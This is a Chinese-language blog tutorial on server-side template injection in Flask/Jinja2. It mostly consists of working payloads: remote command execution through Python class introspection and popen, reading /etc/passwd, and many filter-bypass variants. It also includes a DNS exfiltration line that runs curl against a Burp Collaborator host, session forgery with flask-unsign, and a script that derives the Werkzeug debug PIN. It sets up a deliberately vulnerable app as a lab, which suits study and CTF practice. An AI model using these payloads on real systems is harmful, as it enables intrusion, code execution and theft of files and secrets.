返回
Featured image of post SSTI 相关

SSTI 相关

go!

SSTI相关

模板

用于Web应用的模板引擎主要是为了让界面与数据分离。前端专门设计特定格式和风格的HTML模板(界面),可根据用户输入内容进行填充(数据),通过模板引擎生成HTML代码,响应给客户端以灵活展示。

Flask是一个用Python编写的轻量级Web应用程序框架,其使用jinja2作为模板引擎。jinja2基本语法有如下:

{{`%` `%`}} # 语句

{{...}} # 表达式

{{#...#}} # 注释

基本原理

SSTL(服务端模板注入)的本质在于接收用户任意的输入并执行,造成服务端信息泄露、代码执行等问题。

例如jinja2模板中使用 {{}} 语法表示一个变量值,是一种特殊的占位符,当利用 jinja2 进行渲染的时候,它会执行所接收到的内容并把这些特殊的占位符进行替换。

flask模板注入

搭建环境

安装flask:

pip3 install flask

服务端:

from flask import Flask, request, render_template_string
 
app = Flask(__name__)
 
@app.route("/")
def index():
    name = request.args.get('name')
    return render_template_string("Hello %s" % name)
 
if __name__ == "__main__":
    app.debug = True
    app.run()

@app.route("/")是route装饰器路由的使用,其将一个函数绑定至相应的URL上,当访问该URL时触发该函数。

例如访问目标应用根路径,并传入name参数:

基础

python中object类是所有类的基类,当定义一个类没有指定继承哪个类,则默认继承object类。

内建属性和方法的使用

__calss__表示当前类:

__base__列出当前类的直接父类:

__bases__以元组形式列出当前类的所有直接父类:

__mro__列出当前类的调用顺序,按照子类、父类、父类的父类顺序返回:

__subclasses__()当获取到object类之后,可以用该方法获取所有子类:

__init__初始化类,只有初始化后才能使用其方法和属性。

__globals__以字典类型返回当前位置的全部模块、方法和全局变量。

如果被过滤,可以使用以下等效:

__init__.__globals__['sys']
__init__.__getattribute__('__global'+'s__')['sys']

__dict__列出属于当前模块的方法和属性,dir()与其作用类似,但是dir()也会显示从父类继承来的属性。一般用在某些方法被过滤了的情况。

__builtins__的使用:

__builtins__.__dict__['__import__']('os').system('whoami')

过滤器的使用

  • attr
""|attr("__class__")
# 等效于 "".__calss__
# 常用于点.、中括号[]被过滤
  • format
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
# 等效于'__class__'

""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
# 等效于""["__class__"]
  • join(将接收到的内容进行拼接返回)
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
# 等效于""["__class__"]
  • lower
""["__CLASS__"|lower]
  • replace
"__clase__"|replace("e","s")"
  • reverse
"__ssalc__"|reverse
# 等效于"__class__"
  • string(将接收到的内容转为字符串)
"".__class__的结果是 <class 'str'>
("".__class__|string)[0]
# 得到字符'<'

寻找注入点

Flask模板注入的关键点就在于{{}},所以通常是在多个位置输入{{3*3}}来判断是否会执行并回显。

一般的判断模板的方法:

基本漏洞利用

  • 获取object类
{{"".__class__.__base__}}

{{"".__class__.__bases__[0]}}

{{"".__class__.__mro__[-1]}}

  • 获取所有子类
{{"".__class__.__mro__[-1].__subclasses__()}}

  • 在获取到的子类中寻找一些可用的类和方法

以寻找可执行系统命令的方法为目的,例如popen方法。

本地寻找:

target = 'popen'
num = 0
for cur in ().__class__.__base__.__subclasses__():
    try:
        if target in cur.__init__.__globals__.keys():
            print(num, cur)
    except:
        pass
    num += 1

结果表明:object基类的第133个子类有popen方法,因此可以初始化该类,并以__globals__获取方法和属性等,并利用。

  • 利用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}

打印类编号,用于寻找:

{%for i in range(300)%}
{{().__class__.__mro__[-1].__subclasses__()[i]}}
{{i}}
{%endfor%}

一般可利用的类和函数

针对不同版本有些类的序号需要手动去找

  • config

使用{{config}}查询配置信息

  • popen

用于执行系统命令,使用read()方法读取结果

  • subprocess.Popen

用于执行系统命令

{{"".__class__.__base__.__subclasses__()[213]('whoami',shell=True,stdout=-1).communicate()[0].strip().decode()}}
  • __import__ (动态加载类和函数)os

导入os模块执行系统命令

{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}

  • __builtins__执行代码
{{().__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{().__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{{().__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
  • request(jinja2中存在request对象)
{request.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
  • url_for、get_flashed_messages、lipsum(这三个都是函数,可直接调os或使用__builtins__)
{{url_for.__globals__['os'].popen('whoami').read()}}

# 读配置
{{url_for.__globals__['current_app'].config}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
  • FileLoader读取文件
{{"".__class__.__bases__[0].__subclasses__()[99]["get_data"](0, "/etc/passwd")}}

绕过方法

过滤.

{{"".__class__}}

{{""['__class__']}}
{{""|attr("__class__")}

过滤引号

  • request绕过
# GET
{{"".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__.__builtins__[request.args.a1](request.args.a2).read()}}&a1=open&a2=/etc/passwd

# POST
{{"".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__.__builtins__[request.values.a1](request.values.a2).read()}}

POST中的数据:a1=open&a2=/etc/passwd

# Cookie
{{"".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__.__builtins__[request.cookies.a1](request.cookies.a2).read()}}

Cookie中的数据:a1=open;a2=/etc/passwd
  • 使用chr()函数绕过
# 先暴破找出chr函数
{{"".__class__.__bases__[0].__subclasses__()[暴破点].__init__.__globals__.__builtins__.chr}}

# 原利用payload
{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}

# 用chr()代替引号
{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

过滤()

只能config看看配置信息

过滤_

  • 十六进制绕过
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

引号中的关键字也可以十六进制编码

  • Unicode编码绕过
{{""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

过滤各类关键字

  • 拼接
{{""['__cla'+'ss__'].__bases__[0]}}
{{""['__cla''ss__'].__bases__[0]}}

{{""|attr(["_"*2,"cla","ss","_"*2]|join)}}
  • 格式化
{{""|attr(request.args.a1|format(request.args.a2))}}&a1=__c%sass__&a2=l
  • 过滤__init__,使用__enter____exit__替代
  • 过滤config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

过滤{}

  • DNS外带
{% if "".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']("curl `whoami`.mj9rk9hp8fslvlnxrgsh86yksby1mq.burpcollaborator.net").read()=='ssti' %}1{% endif %}
  • print
{%print "".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

过滤[]

  • 索引中的[],使用pop()、__getitem__()
{{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()}}
 
{{().__class__.__base__.__subclasses__().pop(133).__init__.__globals__.popen('whoami').read()}}
  • 当绕过关键字限制使用[]
{{"".__getattribute__("__cla"+"ss__").__base__}}

过滤数字

  • 循环找类直接利用
{% for i in "".__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('whoami').read()}}{% endif %}{% endfor %}

# 实际上这里找到的是subprocess.Popen类,然后利用os模块的popen去执行命令
  • 用已有对象或函数直接利用

使用lipsum、url_for、get_flashed_messages函数或request对象直接利用,不需要使用数字进行索引取值。

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

进阶利用

flask session利用

session结构

eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY

.分为三个部分:1)第一部分为session data进行base64后的结果,2)第二部分为时间戳,flask中时间戳超过31天视为无效,3)第三部分是session data、 时间戳、flask中的secret key通过sha算法进行hash后的结果。

注意:

其中所有base64部分去掉了=号,当decode失败可填入部分=号补全;

解时间戳:

int.from_bytes(base64_decode(session-timestamp),byteorder='big')

伪造session

  • 通过{{config}}获取泄露的secret_key:

可利用Flask Unsign工具伪造session:

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

也可利用该工具解session(一般手动解就已经很方便):

尝试破解常见的secret_key:

flask PIN码利用

Flask在debug模式下可产生一个交互式shell,但需要输入一个PIN码,一台机器上多次重启Flask应用,PIN码值不改变表明存在一定规律。

生成PIN码的脚本:

from itertools import chain
import hashlib
probably_public_bits = [
    'cool',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/cool/.local/lib/python3.9/site-packages/flask/app.py',# getattr(mod, '__file__', None)
]

private_bits = ['52242275645', 'cdb9fdddb45e4f95b043309c818c3ff5']
# 第一个元素:str(uuid.getnode()),  /sys/class/net/eth0/address
# 第二个元素:get_machine_id(), /etc/machine-id

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"


num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
print(rv)

脚本中各参数的获取方法:

  • username

当前运行Flask应用的用户名,可读取/etc/passwd获取

  • modname

一般默认

  • appname

一般默认

  • 路径

通过报错获取:

  • 网络地址

读取/sys/class/net/eth0/address,并进行进制转换:

int("00:0c:29:e1:dd:3d".replace(":", ""), 16)

  • 机器码

默认生成方式为先依次读取/etc/machine-id/proc/sys/kernel/random/boot_id,读到其中一个则退出,继续读取/proc/self/cgroup中第一行中以最右侧/分割的右边部分内容,最后将两部分进行拼接得到机器码。

不同版本中机器码的生成方式有区别

执行脚本:

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy